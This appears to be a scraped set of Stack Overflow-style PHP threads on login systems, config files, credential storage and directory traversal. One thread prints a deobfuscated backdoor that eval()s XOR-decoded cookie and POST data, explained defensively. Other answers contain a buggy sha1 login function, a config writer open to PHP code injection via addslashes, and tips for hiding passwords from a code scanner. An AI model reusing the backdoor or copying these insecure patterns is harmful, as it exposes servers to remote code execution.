PHP Username Password Solution - php

I am working on my first PHP based website, and I was wondering what solutions were out there for a username/password system? I have tried using a .htaccess file for basic security, and while it works, I want something a little easier for a layman to administer. Are there any other solutions out there that I could try? I don't have a database server available, so it would have to support flat file databases...thanks!
Edit I have determined that I do have SQLite support, so I do have a database option available. Also, I feel I should mention a little further some requirements that I have. I originally looked to using .htaccess to protect my website, since I need security over the entire directory. Most of the files I am trying to protect are .pdf and .doc...any solution would have to allow me to secure those files as well as any web pages in the directory.
If I could find a good solution to more or less "skin" the .htaccess method of locking a directory, so that I could do things like have an actual login/register page, etc. then I would just stick to the .htaccess method. I would however like something that is more manageable, I just need the directory security.

I wrote up this code quickly, it is syntacticly correct but I have not tested it.
There are 2 things that I did not do here, first, I did not provide a function to remove a user and second I did not provide a function to change a users password, these you'll have to write yourself.
However this should provide for a good place to start.
These functions will store your usernames/passwords in a file called passwords in the following format
username0:password0
username1:password1
username2:password2
...
.
function authenticate($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in theaddUser() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//First we need to get the contents of the file that has the usernames/passwords in it.
//we don't want to use fopen() or we may end up with a locked file error if another access is
//attempted before we've closed it.
//this line will get the contents of the file named passwords and store it in the $fh variable
$fh = file_get_contents('passwords');
//Now lets take the file and split it into an array where each line is a new element in the array.
$fh = split("\n", $fh);
//Now lets loop over the entire array spliting each row into it's username/password pair
foreach($fh as $r)
{
//Every time this loop runs $r will be populated with a new row
//Lets split the line into it's username/password pairs.
$p = split(':', $p);
//Since we don't need all the usernames/password to be in memory lets stop when we find the one we need
if($p[0] == $username && $p[1] == sha1($salt . $password))
{
//We've found the correct use so lets stop looping and return true
return true;
}
}
//If we've reached this point in the code then we did not find the user with the correct password in the 'database'
//so we'll just return false
return false;
}
function addUser($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in the authenticate() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//We need to parse out some preticularly bad characters from the user name such as : which is used to seperate the username and password
//and \r and \n which is the new line character which seperates our lines
$username = preg_replace('/\r|\n|\:/', '', $username);
//Now lets encrypt our password with the salt added
$password = sha1($salt . $password);
//Lets build the new line that is going to be added
$line = $username . ':' . $password . "\n";
//Lets open the file in append mode so that the pointer will be placed at the end of the file
$fh = fopen('passwords', 'a');
//Write the new entry to the file
fwrite($fh, $line);
//Close the file
fclose($fh);
//Typicaly one would write a bunch of error handling code on the above statments and if something
//goes wrong then return false but if you make it this far in the code then return true
return true;
}

Have a look at Zend_Auth. It's open source, so you can sniff around to get a feel for how an authentication module should (or could) be implemented. From the doc:
Zend_Auth is concerned only with
authentication and not with
authorization. Authentication is
loosely defined as determining whether
an entity actually is what it purports
to be (i.e., identification), based on
some set of credentials.

Sure, there are plenty of flat file database PHP security systems available. Doing a quick Google search will pull up many results. Here is a tutorial:
http://www.devshed.com/c/a/PHP/Private-Pages-with-PHP-and-Text-Files/

Check if you have support for sqlite, it doesn't require a server so it might work for you.
And don't forget to hash your passwords. ;)
To check create a file (ex. php_info.php) add:
<?php
phpinfo();
Then upload the file to your host, load it in your browser (example.com/php_info.php) and do a search for sqlite.
You should see several references to sqlite in the page that shows if you have support. The line with "SQLite Library" will tell you the version of sqlite you have (if you have it).
Also once you are done you should delete the php_info.php file from your site, since it does give some information on your setup which can be helpful to crackers.

have you seen if you have SQLite available? It is PHP's built in database. If not you could just use read/write to a file hope this helps a bit

According to this page from the Apache website:
In general, you should never use .htaccess files unless you don't have access to the main server configuration file. There is, for example, a prevailing misconception that user authentication should always be done in .htaccess files. This is simply not the case. You can put user authentication configurations in the main server configuration, and this is, in fact, the preferred way to do things.
Its easy to see why this is so, too. Its far preferable to have centralized control, rather than digging through EVERY SINGLE DIRECTORY when debugging a faulty configuration.
I urge you to transfer your .htaccess file config to your main configuration file ASAP, for your own good!

Related

How to safely evaluate a file's contents before including it in PHP

I am using PHP files returning arrays as a means of configuration.
To process these configuration files I made a class to search the provided configuration directories for PHP files and store their values in a configuration container using include().
Now I was just wondering about the safety of this method.
What if somebody puts malicious code inside one of these files?
What would be the safest way to evaluate these files before including them and potentially triggering unwanted side effects?
I was thinking about using file_get_contents() to load the file as a string and look for any function calls, but I don't want to restrict users from using functions to resolve, for instance, conditional configuration values.
This is the current code, just for an idea of the workings:
public function load(): void
{
$iterator = $this->createFinder()->getIterator();
foreach ($iterator as $file) {
$config = include $file;
if (! is_array($config)) {
throw new \RuntimeException("Invalid config \"{$file->getRealPath()}\", Config files should return an array.");
}
$this->config[$file->getBasename()] = $config;
}
}
private function createFinder(): Finder
{
$this->finder = (new Finder())
->in($this->directories)
->files()
->name('*.php');
return $this->finder;
}
Don't bother with any kind of "security" checks. Simply, you should never, ever include, require or eval the contents of a non-trusted file.
Configuration files are not something where "somebody could put malicious code into". If they are, something is seriously broken with the application setup; and that's what needs fixing, not trying to add half-baked "security" checks to account for this glaring security problem.
Configuration should only be performed by someone with the appropriate security clearance. If the person or persons responsible for deploying/configuring the application are your antagonists, then it's already too late too worry about security.
If you want to have a "friendly" configuration format and not worry about the security implications of third party users providing this configuration, provide a way to configure the application with non-runnable code. E.g. parsing text files, XML, ini files, etc.
Configuration still should be performed by trusted application users, but at least they won't be able to execute arbitrary code on the server (without resorting to an exploit).

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

save php variables permanently without database

In the admin area of my site there is a form which is for the hostname, username and password for the mysql database that the site uses. Currently these values are hardcoded into a php class. But who can I link it so the form can edit the variables in the php class (and keep the results on the server, in other words the variables are hardcoded). I'd normally keep things like this in a database but obviously this can't be done.
Create a configuration file, and grant your web server write access to it. Then it's just a simple matter of writing a script which saves the DB config to this file. E.g.
$fh = fopen('config.php', 'w');
fwrite($fh, chr(60) . "?php\n");
fwrite($fh, sprintf("define('DB_HOST', '%s');\n", addslashes($_POST['DB_HOST'])));
fwrite($fh, sprintf("define('DB_USER', '%s');\n", addslashes($_POST['DB_USER'])));
fwrite($fh, sprintf("define('DB_PASS', '%s');\n", addslashes($_POST['DB_PASS'])));
fclose($fh);
Keep the values in a config file. And make sure it is not accessible from the web.
The easiest solution is to keep the values in a configuration array - the user enters the values, you generate an array from it, then file_put_contents("config.php", "<?php $config = " . var_export($config)). With this method whenever you need the config array, all you need to do is include config.php and it's there.
This is untested code, for example purposes only. Depending on your situation, you may need to solve race conditions, file_put_contents is not enought for that. The main point of the above code is: var_export returns valid php code, that you can eval (if you're evil enough) or echo to a file and include that later.

How to encrypt mysql password in php (or how to defeat automated code scanner red flag)

Management strikes again.
How should I satisfy the code scanner that is going to read my php source and red flag my MySQL connection string?
Linux Server (soon to be Sun)
php 4.2 (soon to be latest version)
MySQL database
Servers in a DMZ outside of the firewall
Read only MySQL account
Not a single byte of non public information in the database
I have to encrypt my MySQL password in the connection string for no reason other than it is going to be red flagged by the automatic code testing solution. Management is enthralled with the concept of Pen Testing without understanding it.
I know full well it isn't any more secure to encrypt the password in the file with all the other measures in place, but my sites will be taken down if I don't comply. I know it hurts performance but this site isn't so popular, and isn't a huge database driven app anyway.
My attempt:
//encrypt and decrypt are functions I stole wholesale off of the php.net manual
...
$SuperSecure[0] = array(encrypt("test"), encrypt("test")); //dev
...
$dbcnx = mysql_connect('localhost', decrypt($SuperSecure[0][0]), decrypt($SuperSecure[0][1]));
Is there a better way? More importantly, am I missing something and this is actually necessary?
Edit: I can't fight national anymore. If I ignore this directive my site comes down and losing my job over this is dumb. I just to do this as easily (and with the least performance impact) as possible.
If you don't want to write the password directly into mysql_connect, why not write something like:
$username = 'test';
$password = 'test';
mysql_connect('localhost', $username, $password);
Without knowing how clever the scanner is you won't really be able to tell what obsfucation is enough to not raise any flags.
You can use rot13 to obfuscate (not encrypt) the password
Couldn't you define the default mysql host, username, and password in a php.ini file? Then the mysql_connect function looks like:
`mysql_connect();`
And unless a hacker has your php.ini file, they won't be able to access the username or password. Even if they changed the function to echo. Sure they could echo the directives, but I think it is obfuscated enough, as the password could not be found in any of the source files, aside from php.ini, which is a server-file.
Given, if someone did a phpinfo(); it also would be displayed in plain site, but it would still work.
This solution is very similar to the ODBC solution provided by another answer. It also has the flaw that if the scanner checks your php.ini file, it is going to end up red flagging that instead.
If you would like to make fun of it at the same time, I'd suggest randomly putting snippets of your mysql code in random files that are all includes before you need to connect. AKA
Index.php
Global $password;
$password = "S";
RandomFile.php
Global $password;
$password .= "T";
RandomFile2.php
Global $password;
$password .= "A";
RandomFile3.php
Global $password;
$password .= "CK";
RandomFile4.php
Global $password;
mysql_connect($host, $username, $password."Overflow");
XOR! The basis of the venerable one-time pad. It's legitimate encryption, makes you look more suave then rot13() and anybody competent should be able to figure it out. At the same time, nobody will be grepping your password.
<?
$pass = 'foobar';
$key = 'monkey';
$secret = $pass XOR $key;
$list = array($key, $secret);
foreach($list as $x) {
print "Keypart: ";
print implode(unpack('H*',$x));
print "\n";
}
?>
Aaand I suddenly hate how PHP does arrays... Now, take the output of that...
<?
#Keypart: 6d6f6e6b6579
#Keypart: 666f6f626172
$secret = '666f6f626172';
$key = '6d6f6e6b6579';
$pass = pack('H*', $key) XOR pack('H*', $secret);
print "$pass\n";
?>
The first part is your encryption generator, and the second part is what you have to put in the program. The only rule is that whatever bytestring you XOR the password against should be the same length as the password. It probably won't do anything unwanted if it isn't, but I don't feel like building a testcase.
It IS unnecessary, since you'll just obfuscate the password. Anyone who has the source could log in to the database since your PHP script has to know decrypt to get the original password.
Example
let's say that your password is a number, for example 42 and that encrypt is a function which multiplies by two and decrypt does the opposite.
Then, you'll store 84 in the code somewhere. However, PHP has to know the decrypt function also and will convert it to 42 first before connecting to the database. So, since everything you need has to stand in the PHP file, it is pointless to obfuscate the necessary information.
Some evil hacker which has your source could always replace the mysql_connect in your code example with an echo and will get the plain text password...
Easy obfuscation
Maybe it suffices to use something like "t"."e"."s"."t" instead of "test" in your code to bypass detection of the password...
You could use an ODBC connection to access the database. The ODBC abstraction layer stores its connection properties in a separate file (in UnixODBC, it's /etc/odbc.ini and ~/.odbc.ini). That way, the system DSN can know how to access the database, and your script will rely on it.
I'd advise caution in using ODBC, though, as it doesn't have access to some of the more complicated functions and queries that a straight MySQL connection does.
I might be missing the point here, but let me ask this.
Why are you not storing your mysql connection information in some form of config file, that is included at run time, and using some form of database abstraction, rather then peppering your code with mysql_connects and other legacy methods of dealing with database connections?
I would find it doubtful that your automated code scanning solution would read plaintext ini files, or xml ini files, and some frameworks, Like Zend, make it very easy to deal with these types of configuration files, so that your password is not scattered throught your code, or web accessible at any point...
It sounds like you have all the other measures in place(server outside of network, secure mysql account with only the needed privs.). Am I misconstruing what you are doing, or is there a reason to avoid the best practices here?
Regards
Been using Windows as server from day 1 and dunno whether my way has been wrong from the start, but storing credentials in registry (and reading from it) works and I've been doing it this way.
Here's my snippet:
$Root = HKEY_CURRENT_USER;
$key = "Software\MyApp1";
if (!($registry = #reg_open_key($Root, $key))) {
throw new Exception("Valid Credential not found.");
}else{
$user = reg_enum_key($registry, 0);
$passw = reg_enum_key($registry, 1);
}
reg_close_key($registry);

lots of files tactics have directory traversal security problem?

If I choose lots of files tactics,
then I become to have directory
traversal security problem?
I need to write login system,
and lots of file tactics means
make lots of id files and use
scandir.
so the directory would have
aaa.txt (contents is aaa_pass)
bbb.txt (contents is bbb_pass)
ccc.txt (contents is ccc_pass)
and when someone enter his id,
the system scandir the directory,
then find the id files.
but hey, what if he enters as
"../../important.txt" ?
then he could access to the ../../important.txt ?
At first glance, it seems like you are going down a somewhat strange path for writing a login system. I'm not sure plain text files in a directory on the filesystem is a wise path to take if for no other other reason than that it's abnormal and you'rer likely to overlook many of the subtleties that are already thought through in more common authentication systems. If you wanted to store the passwords hashed and salted, for instance, you'd need to think through how to implement that in your scheme and you could make a mistake that would lead to a security problem. Using a good PEAR library or even the Zend_Auth component from Zend Framework, though, would give you a clear and well-documented starting point.
Anyway, assuming you have your reasons for the arrangement you describe in your question, the basename() function is likely what you want in this case. It will strip everything but the filename itself so that they can't do a directory traversal attack like you describe in your question.
So if the input from the user is:
../../important
You can run:
$cleanUsername = basename($input);
$filename = '/path/to/password/files/' . $cleanUsername . '.txt';
if (file_exists($filename)) {
[...]
}
Make sense?
You could perform some validation of the username before you use it as part of a path - for example to only allow letters and numbers you could do something like this using a regular expression:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
//username is not valid
} else {
//username is ok to use
}
Another way you could do it is to hash the username before you read or write it, for example:
$hash = sha1($username);
This way, the user can have anything as their username and there will be no danger of them manipulating the behaviour of your file lookup. A username of "../../important.txt" would give you a hash of "48fc9e70df592ccde3a0dc969ba159415c62658d", which is safe despite the source string being nasty.
If you have no other choice than to use this file-password system (assuming you have to for one reason or another), in addition to creating some kind of obfuscated file names, you may also want create files with the same extension as your server-side language just in case - for example, if you are using PHP, your file name would be john.php (or obfuscated 'john'), and contents might be something like this:
<?php
exit; // or maybe even a header redirect --
/*password goes here*/
?>
Of course your file-read routine will need to parse our the phrase inside the comment block.
This way, if someone DOES somehow arrive at that file, it will never render.

Categories